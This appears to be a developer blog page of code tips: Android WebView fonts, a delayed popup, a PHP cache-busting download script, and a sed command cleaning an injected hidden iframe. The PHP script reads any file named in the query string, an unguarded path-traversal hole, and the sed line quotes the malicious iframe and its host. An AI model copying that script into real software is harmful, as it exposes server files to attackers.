Often in an android app you want to display some formatted text and pictures. The easiest way to do this is with a webview. The only problem with a webview is that its a pain to change the font. Well not anymore
String head = "<head><style>@font-face {font-family: 'myface';src: url('fonts/Roboto-Light.ttf');}body {font-family: 'myface';} img { max-width: " + width + "px; }</style></head>"; String htmlData = "<html>" + head + "<body>" + strHTML + "</body></html>"; WebView wv = ((WebView) findViewById(R.id.wvReview)); wv.loadDataWithBaseURL("file:///android_asset/", htmlData, "text/html", "UTF-8", null); |
The above snippet also makes sure all your images fit on your display
If you try display a popupWindow before android ui thread is ready, you will get an exception. This code will prevent that
pw = new PopupWindow(layoutInflater.inflate(R.layout.firstrundisclaimer, null, false), dipToPx(280), dipToPx(390), true); findViewById(R.id.content).postDelayed(new Runnable() { public void run() { try { pw.showAtLocation(findViewById(R.id.content), Gravity.CENTER, 0, 0); } catch (Exception e) { } } }, 500); |
I have a software app that checks for updates and downloads them from http://www.some_random_website.com/updatefile.rar
However, I’ve noticed that ISPS tend to cache these files so the software app isnt always getting the latest file.
step 1 – create a php function to download a file
<?php $filename = $_GET['filename']; $path = $_SERVER['DOCUMENT_ROOT'] . "/$filename"; if ($fd = fopen($path, "r")) { $fsize = filesize($path); header("Cache-Control: no-cache, must-revalidate"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Content-type: application/octet-stream"); header("Content-Disposition: filename=\"" . $filename . "\""); header("Content-length: $fsize"); header("Cache-control: private"); //use this to open files directly while (!feof($fd)) { $buffer = fread($fd, 2048); echo $buffer; } } fclose($fd); ?> |
step 2 – rewrite urls so that when requesting /some_file.rar, it redirects to the php app as defined
Options +FollowSymlinks RewriteEngine on RewriteRule ^(.+)\.rar$ ./getfile.php?filename=$1.rar [NC] |
So some clever hackers managed to run an iframe injection attack on my site
heres how I cleaned it
find ./ type f -exec sed -i 's/<iframe src="http:\/\/byh1.co.cc\/index.php?tp=25971e546d04c7c2" width="1" height="1" frameborder="0"><\/iframe>//g' {} \; |
This is a departure from my usual posts, but I think everyone can make use of this.

Categories
Tag Cloud
Blog RSS
Comments RSS
Last 50 Posts
Back
Void « Default
Life
Earth
Wind
Water
Fire
Light 